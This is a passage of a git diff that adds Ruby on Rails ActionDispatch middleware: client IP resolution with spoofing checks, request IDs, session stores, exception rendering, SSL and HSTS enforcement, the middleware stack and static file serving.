+  # IF YOU DON'T USE A PROXY, THIS MAKES YOU VULNERABLE TO IP SPOOFING.
+  # This middleware assumes that there is at least one proxy sitting around
+  # and setting headers with the client's remote IP address. If you don't use
+  # a proxy, because you are hosted on e.g. Heroku without SSL, any client can
+  # claim to have any IP address by setting the X-Forwarded-For header. If you
+  # care about that, then you need to explicitly drop or ignore those headers
+  # sometime before this middleware runs.
+  class RemoteIp
+    class IpSpoofAttackError < StandardError; end
+
+    # The default trusted IPs list simply includes IP addresses that are
+    # guaranteed by the IP specification to be private addresses. Those will
+    # not be the ultimate client IP in production, and so are discarded. See
+    # http://en.wikipedia.org/wiki/Private_network for details.
+    TRUSTED_PROXIES = [
+      "127.0.0.1",      # localhost IPv4
+      "::1",            # localhost IPv6
+      "fc00::/7",       # private IPv6 range fc00::/7
+      "10.0.0.0/8",     # private IPv4 range 10.x.x.x
+      "172.16.0.0/12",  # private IPv4 range 172.16.0.0 .. 172.31.255.255
+      "192.168.0.0/16", # private IPv4 range 192.168.x.x
+    ].map { |proxy| IPAddr.new(proxy) }
+
+    attr_reader :check_ip, :proxies
+
+    # Create a new +RemoteIp+ middleware instance.
+    #
+    # The +ip_spoofing_check+ option is on by default. When on, an exception
+    # is raised if it looks like the client is trying to lie about its own IP
+    # address. It makes sense to turn off this check on sites aimed at non-IP
+    # clients (like WAP devices), or behind proxies that set headers in an
+    # incorrect or confusing way (like AWS ELB).
+    #
+    # The +custom_proxies+ argument can take an Array of string, IPAddr, or
+    # Regexp objects which will be used instead of +TRUSTED_PROXIES+. If a
+    # single string, IPAddr, or Regexp object is provided, it will be used in
+    # addition to +TRUSTED_PROXIES+. Any proxy setup will put the value you
+    # want in the middle (or at the beginning) of the X-Forwarded-For list,
+    # with your proxy servers after it. If your proxies aren't removed, pass
+    # them in via the +custom_proxies+ parameter. That way, the middleware will
+    # ignore those IP addresses, and return the one that you want.
+    def initialize(app, ip_spoofing_check = true, custom_proxies = nil)
+      @app = app
+      @check_ip = ip_spoofing_check
+      @proxies = if custom_proxies.blank?
+        TRUSTED_PROXIES
+      elsif custom_proxies.respond_to?(:any?)
+        custom_proxies
+      else
+        Array(custom_proxies) + TRUSTED_PROXIES
+      end
+    end
+
+    # Since the IP address may not be needed, we store the object here
+    # without calculating the IP to keep from slowing down the majority of
+    # requests. For those requests that do need to know the IP, the
+    # GetIp#calculate_ip method will calculate the memoized client IP address.
+    def call(env)
+      req = ActionDispatch::Request.new env
+      req.remote_ip = GetIp.new(req, check_ip, proxies)
+      @app.call(req.env)
+    end
+
+    # The GetIp class exists as a way to defer processing of the request data
+    # into an actual IP address. If the ActionDispatch::Request#remote_ip method
+    # is called, this class will calculate the value and then memoize it.
+    class GetIp
+      def initialize(req, check_ip, proxies)
+        @req      = req
+        @check_ip = check_ip
+        @proxies  = proxies
+      end
+
+      # Sort through the various IP address headers, looking for the IP most
+      # likely to be the address of the actual remote client making this
+      # request.
+      #
+      # REMOTE_ADDR will be correct if the request is made directly against the
+      # Ruby process, on e.g. Heroku. When the request is proxied by another
+      # server like HAProxy or NGINX, the IP address that made the original
+      # request will be put in an X-Forwarded-For header. If there are multiple
+      # proxies, that header may contain a list of IPs. Other proxy services
+      # set the Client-Ip header instead, so we check that too.
+      #
+      # As discussed in {this post about Rails IP Spoofing}[http://blog.gingerlime.com/2012/rails-ip-spoofing-vulnerabilities-and-protection/],
+      # while the first IP in the list is likely to be the "originating" IP,
+      # it could also have been set by the client maliciously.
+      #
+      # In order to find the first address that is (probably) accurate, we
+      # take the list of IPs, remove known and trusted proxies, and then take
+      # the last address left, which was presumably set by one of those proxies.
+      def calculate_ip
+        # Set by the Rack web server, this is a single value.
+        remote_addr = ips_from(@req.remote_addr).last
+
+        # Could be a CSV list and/or repeated headers that were concatenated.
+        client_ips    = ips_from(@req.client_ip).reverse
+        forwarded_ips = ips_from(@req.x_forwarded_for).reverse
+
+        # +Client-Ip+ and +X-Forwarded-For+ should not, generally, both be set.
+        # If they are both set, it means that either:
+        #
+        # 1) This request passed through two proxies with incompatible IP header
+        #    conventions.
+        # 2) The client passed one of +Client-Ip+ or +X-Forwarded-For+
+        #    (whichever the proxy servers weren't using) themselves.
+        #
+        # Either way, there is no way for us to determine which header is the
+        # right one after the fact. Since we have no idea, if we are concerned
+        # about IP spoofing we need to give up and explode. (If you're not
+        # concerned about IP spoofing you can turn the +ip_spoofing_check+
+        # option off.)
+        should_check_ip = @check_ip && client_ips.last && forwarded_ips.last
+        if should_check_ip && !forwarded_ips.include?(client_ips.last)
+          # We don't know which came from the proxy, and which from the user
+          raise IpSpoofAttackError, "IP spoofing attack?! " \
+            "HTTP_CLIENT_IP=#{@req.client_ip.inspect} " \
+            "HTTP_X_FORWARDED_FOR=#{@req.x_forwarded_for.inspect}"
+        end
+
+        # We assume these things about the IP headers:
+        #
+        #   - X-Forwarded-For will be a list of IPs, one per proxy, or blank
+        #   - Client-Ip is propagated from the outermost proxy, or is blank
+        #   - REMOTE_ADDR will be the IP that made the request to Rack
+        ips = [forwarded_ips, client_ips, remote_addr].flatten.compact
+
+        # If every single IP option is in the trusted list, just return REMOTE_ADDR
+        filter_proxies(ips).first || remote_addr
+      end
+
+      # Memoizes the value returned by #calculate_ip and returns it for
+      # ActionDispatch::Request to use.
+      def to_s
+        @ip ||= calculate_ip
+      end
+
+    private
+
+      def ips_from(header) # :doc:
+        return [] unless header
+        # Split the comma-separated list into an array of strings.
+        ips = header.strip.split(/[,\s]+/)
+        ips.select do |ip|
+          begin
+            # Only return IPs that are valid according to the IPAddr#new method.
+            range = IPAddr.new(ip).to_range
+            # We want to make sure nobody is sneaking a netmask in.
+            range.begin == range.end
+          rescue ArgumentError
+            nil
+          end
+        end
+      end
+
+      def filter_proxies(ips) # :doc:
+        ips.reject do |ip|
+          @proxies.any? { |proxy| proxy === ip }
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/request_id.rb b/actionpack/lib/action_dispatch/middleware/request_id.rb
new file mode 100644
index 0000000000..805d3f2148
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/request_id.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "securerandom"
+require "active_support/core_ext/string/access"
+
+module ActionDispatch
+  # Makes a unique request id available to the +action_dispatch.request_id+ env variable (which is then accessible
+  # through <tt>ActionDispatch::Request#request_id</tt> or the alias <tt>ActionDispatch::Request#uuid</tt>) and sends
+  # the same id to the client via the X-Request-Id header.
+  #
+  # The unique request id is either based on the X-Request-Id header in the request, which would typically be generated
+  # by a firewall, load balancer, or the web server, or, if this header is not available, a random uuid. If the
+  # header is accepted from the outside world, we sanitize it to a max of 255 chars and alphanumeric and dashes only.
+  #
+  # The unique request id can be used to trace a request end-to-end and would typically end up being part of log files
+  # from multiple pieces of the stack.
+  class RequestId
+    X_REQUEST_ID = "X-Request-Id".freeze #:nodoc:
+
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      req = ActionDispatch::Request.new env
+      req.request_id = make_request_id(req.x_request_id)
+      @app.call(env).tap { |_status, headers, _body| headers[X_REQUEST_ID] = req.request_id }
+    end
+
+    private
+      def make_request_id(request_id)
+        if request_id.presence
+          request_id.gsub(/[^\w\-]/, "".freeze).first(255)
+        else
+          internal_request_id
+        end
+      end
+
+      def internal_request_id
+        SecureRandom.uuid
+      end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
new file mode 100644
index 0000000000..e054fefc9b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require "rack/utils"
+require "rack/request"
+require "rack/session/abstract/id"
+require_relative "../cookies"
+require_relative "../../request/session"
+
+module ActionDispatch
+  module Session
+    class SessionRestoreError < StandardError #:nodoc:
+      def initialize
+        super("Session contains objects whose class definition isn't available.\n" \
+          "Remember to require the classes for all objects kept in the session.\n" \
+          "(Original exception: #{$!.message} [#{$!.class}])\n")
+        set_backtrace $!.backtrace
+      end
+    end
+
+    module Compatibility
+      def initialize(app, options = {})
+        options[:key] ||= "_session_id"
+        super
+      end
+
+      def generate_sid
+        sid = SecureRandom.hex(16)
+        sid.encode!(Encoding::UTF_8)
+        sid
+      end
+
+    private
+
+      def initialize_sid # :doc:
+        @default_options.delete(:sidbits)
+        @default_options.delete(:secure_random)
+      end
+
+      def make_request(env)
+        ActionDispatch::Request.new env
+      end
+    end
+
+    module StaleSessionCheck
+      def load_session(env)
+        stale_session_check! { super }
+      end
+
+      def extract_session_id(env)
+        stale_session_check! { super }
+      end
+
+      def stale_session_check!
+        yield
+      rescue ArgumentError => argument_error
+        if argument_error.message =~ %r{undefined class/module ([\w:]*\w)}
+          begin
+            # Note that the regexp does not allow $1 to end with a ':'.
+            $1.constantize
+          rescue LoadError, NameError
+            raise ActionDispatch::Session::SessionRestoreError
+          end
+          retry
+        else
+          raise
+        end
+      end
+    end
+
+    module SessionObject # :nodoc:
+      def prepare_session(req)
+        Request::Session.create(self, req, @default_options)
+      end
+
+      def loaded_session?(session)
+        !session.is_a?(Request::Session) || session.loaded?
+      end
+    end
+
+    class AbstractStore < Rack::Session::Abstract::Persisted
+      include Compatibility
+      include StaleSessionCheck
+      include SessionObject
+
+      private
+
+        def set_cookie(request, session_id, cookie)
+          request.cookie_jar[key] = cookie
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/session/cache_store.rb b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
new file mode 100644
index 0000000000..c84bc8bfad
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require_relative "abstract_store"
+
+module ActionDispatch
+  module Session
+    # A session store that uses an ActiveSupport::Cache::Store to store the sessions. This store is most useful
+    # if you don't store critical data in your sessions and you don't need them to live for extended periods
+    # of time.
+    #
+    # ==== Options
+    # * <tt>cache</tt>         - The cache to use. If it is not specified, <tt>Rails.cache</tt> will be used.
+    # * <tt>expire_after</tt>  - The length of time a session will be stored before automatically expiring.
+    #   By default, the <tt>:expires_in</tt> option of the cache is used.
+    class CacheStore < AbstractStore
+      def initialize(app, options = {})
+        @cache = options[:cache] || Rails.cache
+        options[:expire_after] ||= @cache.options[:expires_in]
+        super
+      end
+
+      # Get a session from the cache.
+      def find_session(env, sid)
+        unless sid && (session = @cache.read(cache_key(sid)))
+          sid, session = generate_sid, {}
+        end
+        [sid, session]
+      end
+
+      # Set a session in the cache.
+      def write_session(env, sid, session, options)
+        key = cache_key(sid)
+        if session
+          @cache.write(key, session, expires_in: options[:expire_after])
+        else
+          @cache.delete(key)
+        end
+        sid
+      end
+
+      # Remove a session from the cache.
+      def delete_session(env, sid, options)
+        @cache.delete(cache_key(sid))
+        generate_sid
+      end
+
+      private
+        # Turn the session id into a cache key.
+        def cache_key(sid)
+          "_session_id:#{sid}"
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
new file mode 100644
index 0000000000..65e93984e3
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
@@ -0,0 +1,131 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/keys"
+require_relative "abstract_store"
+require "rack/session/cookie"
+
+module ActionDispatch
+  module Session
+    # This cookie-based session store is the Rails default. It is
+    # dramatically faster than the alternatives.
+    #
+    # Sessions typically contain at most a user_id and flash message; both fit
+    # within the 4K cookie size limit. A CookieOverflow exception is raised if
+    # you attempt to store more than 4K of data.
+    #
+    # The cookie jar used for storage is automatically configured to be the
+    # best possible option given your application's configuration.
+    #
+    # If you only have secret_token set, your cookies will be signed, but
+    # not encrypted. This means a user cannot alter their +user_id+ without
+    # knowing your app's secret key, but can easily read their +user_id+. This
+    # was the default for Rails 3 apps.
+    #
+    # If you have secret_key_base set, your cookies will be encrypted. This
+    # goes a step further than signed cookies in that encrypted cookies cannot
+    # be altered or read by users. This is the default starting in Rails 4.
+    #
+    # If you have both secret_token and secret_key_base set, your cookies will
+    # be encrypted, and signed cookies generated by Rails 3 will be
+    # transparently read and encrypted to provide a smooth upgrade path.
+    #
+    # Configure your session store in config/initializers/session_store.rb:
+    #
+    #   Rails.application.config.session_store :cookie_store, key: '_your_app_session'
+    #
+    # Configure your secret key in config/secrets.yml:
+    #
+    #   development:
+    #     secret_key_base: 'secret key'
+    #
+    # To generate a secret key for an existing application, run `rails secret`.
+    #
+    # If you are upgrading an existing Rails 3 app, you should leave your
+    # existing secret_token in place and simply add the new secret_key_base.
+    # Note that you should wait to set secret_key_base until you have 100% of
+    # your userbase on Rails 4 and are reasonably sure you will not need to
+    # rollback to Rails 3. This is because cookies signed based on the new
+    # secret_key_base in Rails 4 are not backwards compatible with Rails 3.
+    # You are free to leave your existing secret_token in place, not set the
+    # new secret_key_base, and ignore the deprecation warnings until you are
+    # reasonably sure that your upgrade is otherwise complete. Additionally,
+    # you should take care to make sure you are not relying on the ability to
+    # decode signed cookies generated by your app in external applications or
+    # JavaScript before upgrading.
+    #
+    # Note that changing the secret key will invalidate all existing sessions!
+    #
+    # Because CookieStore extends Rack::Session::Abstract::Persisted, many of the
+    # options described there can be used to customize the session cookie that
+    # is generated. For example:
+    #
+    #   Rails.application.config.session_store :cookie_store, expire_after: 14.days
+    #
+    # would set the session cookie to expire automatically 14 days after creation.
+    # Other useful options include <tt>:key</tt>, <tt>:secure</tt> and
+    # <tt>:httponly</tt>.
+    class CookieStore < AbstractStore
+      def initialize(app, options = {})
+        super(app, options.merge!(cookie_only: true))
+      end
+
+      def delete_session(req, session_id, options)
+        new_sid = generate_sid unless options[:drop]
+        # Reset hash and Assign the new session id
+        req.set_header("action_dispatch.request.unsigned_session_cookie", new_sid ? { "session_id" => new_sid } : {})
+        new_sid
+      end
+
+      def load_session(req)
+        stale_session_check! do
+          data = unpacked_cookie_data(req)
+          data = persistent_session_id!(data)
+          [data["session_id"], data]
+        end
+      end
+
+      private
+
+        def extract_session_id(req)
+          stale_session_check! do
+            unpacked_cookie_data(req)["session_id"]
+          end
+        end
+
+        def unpacked_cookie_data(req)
+          req.fetch_header("action_dispatch.request.unsigned_session_cookie") do |k|
+            v = stale_session_check! do
+              if data = get_cookie(req)
+                data.stringify_keys!
+              end
+              data || {}
+            end
+            req.set_header k, v
+          end
+        end
+
+        def persistent_session_id!(data, sid = nil)
+          data ||= {}
+          data["session_id"] ||= sid || generate_sid
+          data
+        end
+
+        def write_session(req, sid, session_data, options)
+          session_data["session_id"] = sid
+          session_data
+        end
+
+        def set_cookie(request, session_id, cookie)
+          cookie_jar(request)[@key] = cookie
+        end
+
+        def get_cookie(req)
+          cookie_jar(req)[@key]
+        end
+
+        def cookie_jar(request)
+          request.cookie_jar.signed_or_encrypted
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb b/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb
new file mode 100644
index 0000000000..f0aec39c9c
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require_relative "abstract_store"
+begin
+  require "rack/session/dalli"
+rescue LoadError => e
+  $stderr.puts "You don't have dalli installed in your application. Please add it to your Gemfile and run bundle install"
+  raise e
+end
+
+module ActionDispatch
+  module Session
+    # A session store that uses MemCache to implement storage.
+    #
+    # ==== Options
+    # * <tt>expire_after</tt>  - The length of time a session will be stored before automatically expiring.
+    class MemCacheStore < Rack::Session::Dalli
+      include Compatibility
+      include StaleSessionCheck
+      include SessionObject
+
+      def initialize(app, options = {})
+        options[:expire_after] ||= options[:expires]
+        super
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
new file mode 100644
index 0000000000..d2e739d27f
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require_relative "../http/request"
+require_relative "exception_wrapper"
+
+module ActionDispatch
+  # This middleware rescues any exception returned by the application
+  # and calls an exceptions app that will wrap it in a format for the end user.
+  #
+  # The exceptions app should be passed as parameter on initialization
+  # of ShowExceptions. Every time there is an exception, ShowExceptions will
+  # store the exception in env["action_dispatch.exception"], rewrite the
+  # PATH_INFO to the exception status code and call the Rack app.
+  #
+  # If the application returns a "X-Cascade" pass response, this middleware
+  # will send an empty response as result with the correct status code.
+  # If any exception happens inside the exceptions app, this middleware
+  # catches the exceptions and returns a FAILSAFE_RESPONSE.
+  class ShowExceptions
+    FAILSAFE_RESPONSE = [500, { "Content-Type" => "text/plain" },
+      ["500 Internal Server Error\n" \
+       "If you are the administrator of this website, then please read this web " \
+       "application's log file and/or the web server's log file to find out what " \
+       "went wrong."]]
+
+    def initialize(app, exceptions_app)
+      @app = app
+      @exceptions_app = exceptions_app
+    end
+
+    def call(env)
+      request = ActionDispatch::Request.new env
+      @app.call(env)
+    rescue Exception => exception
+      if request.show_exceptions?
+        render_exception(request, exception)
+      else
+        raise exception
+      end
+    end
+
+    private
+
+      def render_exception(request, exception)
+        backtrace_cleaner = request.get_header "action_dispatch.backtrace_cleaner"
+        wrapper = ExceptionWrapper.new(backtrace_cleaner, exception)
+        status  = wrapper.status_code
+        request.set_header "action_dispatch.exception", wrapper.exception
+        request.set_header "action_dispatch.original_path", request.path_info
+        request.path_info = "/#{status}"
+        response = @exceptions_app.call(request.env)
+        response[1]["X-Cascade"] == "pass" ? pass_response(status) : response
+      rescue Exception => failsafe_error
+        $stderr.puts "Error during failsafe response: #{failsafe_error}\n  #{failsafe_error.backtrace * "\n  "}"
+        FAILSAFE_RESPONSE
+      end
+
+      def pass_response(status)
+        [status, { "Content-Type" => "text/html; charset=#{Response.default_charset}", "Content-Length" => "0" }, []]
+      end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/ssl.rb b/actionpack/lib/action_dispatch/middleware/ssl.rb
new file mode 100644
index 0000000000..fb2bfbb41e
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/ssl.rb
@@ -0,0 +1,144 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  # This middleware is added to the stack when `config.force_ssl = true`, and is passed
+  # the options set in `config.ssl_options`. It does three jobs to enforce secure HTTP
+  # requests:
+  #
+  #   1. TLS redirect: Permanently redirects http:// requests to https://
+  #      with the same URL host, path, etc. Enabled by default. Set `config.ssl_options`
+  #      to modify the destination URL
+  #      (e.g. `redirect: { host: "secure.widgets.com", port: 8080 }`), or set
+  #      `redirect: false` to disable this feature.
+  #
+  #   2. Secure cookies: Sets the `secure` flag on cookies to tell browsers they
+  #      mustn't be sent along with http:// requests. Enabled by default. Set
+  #      `config.ssl_options` with `secure_cookies: false` to disable this feature.
+  #
+  #   3. HTTP Strict Transport Security (HSTS): Tells the browser to remember
+  #      this site as TLS-only and automatically redirect non-TLS requests.
+  #      Enabled by default. Configure `config.ssl_options` with `hsts: false` to disable.
+  #
+  # Set `config.ssl_options` with `hsts: { … }` to configure HSTS:
+  #   * `expires`: How long, in seconds, these settings will stick. The minimum
+  #     required to qualify for browser preload lists is `18.weeks`. Defaults to
+  #     `180.days` (recommended).
+  #   * `subdomains`: Set to `true` to tell the browser to apply these settings
+  #     to all subdomains. This protects your cookies from interception by a
+  #     vulnerable site on a subdomain. Defaults to `true`.
+  #   * `preload`: Advertise that this site may be included in browsers'
+  #     preloaded HSTS lists. HSTS protects your site on every visit *except the
+  #     first visit* since it hasn't seen your HSTS header yet. To close this
+  #     gap, browser vendors include a baked-in list of HSTS-enabled sites.
+  #     Go to https://hstspreload.appspot.com to submit your site for inclusion.
+  #     Defaults to `false`.
+  #
+  # To turn off HSTS, omitting the header is not enough. Browsers will remember the
+  # original HSTS directive until it expires. Instead, use the header to tell browsers to
+  # expire HSTS immediately. Setting `hsts: false` is a shortcut for
+  # `hsts: { expires: 0 }`.
+  #
+  # Requests can opt-out of redirection with `exclude`:
+  #
+  #    config.ssl_options = { redirect: { exclude: -> request { request.path =~ /healthcheck/ } } }
+  class SSL
+    # Default to 180 days, the low end for https://www.ssllabs.com/ssltest/
+    # and greater than the 18-week requirement for browser preload lists.
+    HSTS_EXPIRES_IN = 15552000
+
+    def self.default_hsts_options
+      { expires: HSTS_EXPIRES_IN, subdomains: true, preload: false }
+    end
+
+    def initialize(app, redirect: {}, hsts: {}, secure_cookies: true)
+      @app = app
+
+      @redirect = redirect
+
+      @exclude = @redirect && @redirect[:exclude] || proc { !@redirect }
+      @secure_cookies = secure_cookies
+
+      @hsts_header = build_hsts_header(normalize_hsts_options(hsts))
+    end
+
+    def call(env)
+      request = Request.new env
+
+      if request.ssl?
+        @app.call(env).tap do |status, headers, body|
+          set_hsts_header! headers
+          flag_cookies_as_secure! headers if @secure_cookies
+        end
+      else
+        return redirect_to_https request unless @exclude.call(request)
+        @app.call(env)
+      end
+    end
+
+    private
+      def set_hsts_header!(headers)
+        headers["Strict-Transport-Security".freeze] ||= @hsts_header
+      end
+
+      def normalize_hsts_options(options)
+        case options
+        # Explicitly disabling HSTS clears the existing setting from browsers
+        # by setting expiry to 0.
+        when false
+          self.class.default_hsts_options.merge(expires: 0)
+        # Default to enabled, with default options.
+        when nil, true
+          self.class.default_hsts_options
+        else
+          self.class.default_hsts_options.merge(options)
+        end
+      end
+
+      # http://tools.ietf.org/html/rfc6797#section-6.1
+      def build_hsts_header(hsts)
+        value = "max-age=#{hsts[:expires].to_i}".dup
+        value << "; includeSubDomains" if hsts[:subdomains]
+        value << "; preload" if hsts[:preload]
+        value
+      end
+
+      def flag_cookies_as_secure!(headers)
+        if cookies = headers["Set-Cookie".freeze]
+          cookies = cookies.split("\n".freeze)
+
+          headers["Set-Cookie".freeze] = cookies.map { |cookie|
+            if cookie !~ /;\s*secure\s*(;|$)/i
+              "#{cookie}; secure"
+            else
+              cookie
+            end
+          }.join("\n".freeze)
+        end
+      end
+
+      def redirect_to_https(request)
+        [ @redirect.fetch(:status, redirection_status(request)),
+          { "Content-Type" => "text/html",
+            "Location" => https_location_for(request) },
+          @redirect.fetch(:body, []) ]
+      end
+
+      def redirection_status(request)
+        if request.get? || request.head?
+          301 # Issue a permanent redirect via a GET request.
+        else
+          307 # Issue a fresh request redirect to preserve the HTTP method.
+        end
+      end
+
+      def https_location_for(request)
+        host = @redirect[:host] || request.host
+        port = @redirect[:port] || request.port
+
+        location = "https://#{host}".dup
+        location << ":#{port}" if port != 80 && port != 443
+        location << request.fullpath
+        location
+      end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/stack.rb b/actionpack/lib/action_dispatch/middleware/stack.rb
new file mode 100644
index 0000000000..b82f8aa3a3
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/stack.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+require "active_support/inflector/methods"
+require "active_support/dependencies"
+
+module ActionDispatch
+  class MiddlewareStack
+    class Middleware
+      attr_reader :args, :block, :klass
+
+      def initialize(klass, args, block)
+        @klass = klass
+        @args  = args
+        @block = block
+      end
+
+      def name; klass.name; end
+
+      def ==(middleware)
+        case middleware
+        when Middleware
+          klass == middleware.klass
+        when Class
+          klass == middleware
+        end
+      end
+
+      def inspect
+        if klass.is_a?(Class)
+          klass.to_s
+        else
+          klass.class.to_s
+        end
+      end
+
+      def build(app)
+        klass.new(app, *args, &block)
+      end
+    end
+
+    include Enumerable
+
+    attr_accessor :middlewares
+
+    def initialize(*args)
+      @middlewares = []
+      yield(self) if block_given?
+    end
+
+    def each
+      @middlewares.each { |x| yield x }
+    end
+
+    def size
+      middlewares.size
+    end
+
+    def last
+      middlewares.last
+    end
+
+    def [](i)
+      middlewares[i]
+    end
+
+    def unshift(klass, *args, &block)
+      middlewares.unshift(build_middleware(klass, args, block))
+    end
+
+    def initialize_copy(other)
+      self.middlewares = other.middlewares.dup
+    end
+
+    def insert(index, klass, *args, &block)
+      index = assert_index(index, :before)
+      middlewares.insert(index, build_middleware(klass, args, block))
+    end
+
+    alias_method :insert_before, :insert
+
+    def insert_after(index, *args, &block)
+      index = assert_index(index, :after)
+      insert(index + 1, *args, &block)
+    end
+
+    def swap(target, *args, &block)
+      index = assert_index(target, :before)
+      insert(index, *args, &block)
+      middlewares.delete_at(index + 1)
+    end
+
+    def delete(target)
+      middlewares.delete_if { |m| m.klass == target }
+    end
+
+    def use(klass, *args, &block)
+      middlewares.push(build_middleware(klass, args, block))
+    end
+
+    def build(app = Proc.new)
+      middlewares.freeze.reverse.inject(app) { |a, e| e.build(a) }
+    end
+
+    private
+
+      def assert_index(index, where)
+        i = index.is_a?(Integer) ? index : middlewares.index { |m| m.klass == index }
+        raise "No such middleware to insert #{where}: #{index.inspect}" unless i
+        i
+      end
+
+      def build_middleware(klass, args, block)
+        Middleware.new(klass, args, block)
+      end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/static.rb b/actionpack/lib/action_dispatch/middleware/static.rb
new file mode 100644
index 0000000000..23492e14eb
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/static.rb
@@ -0,0 +1,130 @@
+# frozen_string_literal: true
+
+require "rack/utils"
+require "active_support/core_ext/uri"
+
+module ActionDispatch
+  # This middleware returns a file's contents from disk in the body response.
+  # When initialized, it can accept optional HTTP headers, which will be set
+  # when a response containing a file's contents is delivered.
+  #
+  # This middleware will render the file specified in <tt>env["PATH_INFO"]</tt>
+  # where the base path is in the +root+ directory. For example, if the +root+
+  # is set to +public/+, then a request with <tt>env["PATH_INFO"]</tt> of
+  # +assets/application.js+ will return a response with the contents of a file
+  # located at +public/assets/application.js+ if the file exists. If the file
+  # does not exist, a 404 "File not Found" response will be returned.
+  class FileHandler
+    def initialize(root, index: "index", headers: {})
+      @root          = root.chomp("/")
+      @file_server   = ::Rack::File.new(@root, headers)
+      @index         = index
+    end
+
+    # Takes a path to a file. If the file is found, has valid encoding, and has
+    # correct read permissions, the return value is a URI-escaped string
+    # representing the filename. Otherwise, false is returned.
+    #
+    # Used by the +Static+ class to check the existence of a valid file
+    # in the server's +public/+ directory (see Static#call).
+    def match?(path)
+      path = ::Rack::Utils.unescape_path path
+      return false unless ::Rack::Utils.valid_path? path
+      path = ::Rack::Utils.clean_path_info path
+
+      paths = [path, "#{path}#{ext}", "#{path}/#{@index}#{ext}"]
+
+      if match = paths.detect { |p|
+        path = File.join(@root, p.dup.force_encoding(Encoding::UTF_8))
+        begin
+          File.file?(path) && File.readable?(path)
+        rescue SystemCallError
+          false
+        end
+
+      }
+        return ::Rack::Utils.escape_path(match)
+      end
+    end
+
+    def call(env)
+      serve(Rack::Request.new(env))
+    end
+
+    def serve(request)
+      path      = request.path_info
+      gzip_path = gzip_file_path(path)
+
+      if gzip_path && gzip_encoding_accepted?(request)
+        request.path_info           = gzip_path
+        status, headers, body       = @file_server.call(request.env)
+        if status == 304
+          return [status, headers, body]
+        end
+        headers["Content-Encoding"] = "gzip"
+        headers["Content-Type"]     = content_type(path)
+      else
+        status, headers, body = @file_server.call(request.env)
+      end
+
+      headers["Vary"] = "Accept-Encoding" if gzip_path
+
+      return [status, headers, body]
+    ensure
+      request.path_info = path
+    end
+
+    private
+      def ext
+        ::ActionController::Base.default_static_extension
+      end
+
+      def content_type(path)
+        ::Rack::Mime.mime_type(::File.extname(path), "text/plain".freeze)
+      end
+
+      def gzip_encoding_accepted?(request)
+        request.accept_encoding.any? { |enc, quality| enc =~ /\bgzip\b/i }
+      end
+
+      def gzip_file_path(path)
+        can_gzip_mime = content_type(path) =~ /\A(?:text\/|application\/javascript)/
+        gzip_path     = "#{path}.gz"
+        if can_gzip_mime && File.exist?(File.join(@root, ::Rack::Utils.unescape_path(gzip_path)))
+          gzip_path
+        else
+          false
+        end
+      end
+  end
+
+  # This middleware will attempt to return the contents of a file's body from
+  # disk in the response. If a file is not found on disk, the request will be
+  # delegated to the application stack. This middleware is commonly initialized
+  # to serve assets from a server's +public/+ directory.
+  #
+  # This middleware verifies the path to ensure that only files
+  # living in the root directory can be rendered. A request cannot
+  # produce a directory traversal using this middleware. Only 'GET' and 'HEAD'
+  # requests will result in a file being returned.
+  class Static
+    def initialize(app, path, index: "index", headers: {})
+      @app = app
+      @file_handler = FileHandler.new(path, index: index, headers: headers)
+    end
+
+    def call(env)
+      req = Rack::Request.new env
+
+      if req.get? || req.head?
+        path = req.path_info.chomp("/".freeze)
+        if match = @file_handler.match?(path)
+          req.path_info = match
+          return @file_handler.serve(req)
+        end
+      end
+
+      @app.call(req.env)
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb
new file mode 100644
index 0000000000..49b1e83551
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb
@@ -0,0 +1,22 @@
+<% unless @exception.blamed_files.blank? %>
+  <% if (hide = @exception.blamed_files.length > 8) %>
+    <a href="#" onclick="return toggleTrace()">Toggle blamed files</a>
+  <% end %>
+  <pre id="blame_trace" <%='style="display:none"' if hide %>><code><%= @exception.describe_blame %></code></pre>
+<% end %>
+
+<h2 style="margin-top: 30px">Request</h2>
+<p><b>Parameters</b>:</p> <pre><%= debug_params(@request.filtered_parameters) %></pre>
+
+<div class="details">
+  <div class="summary"><a href="#" onclick="return toggleSessionDump()">Toggle session dump</a></div>
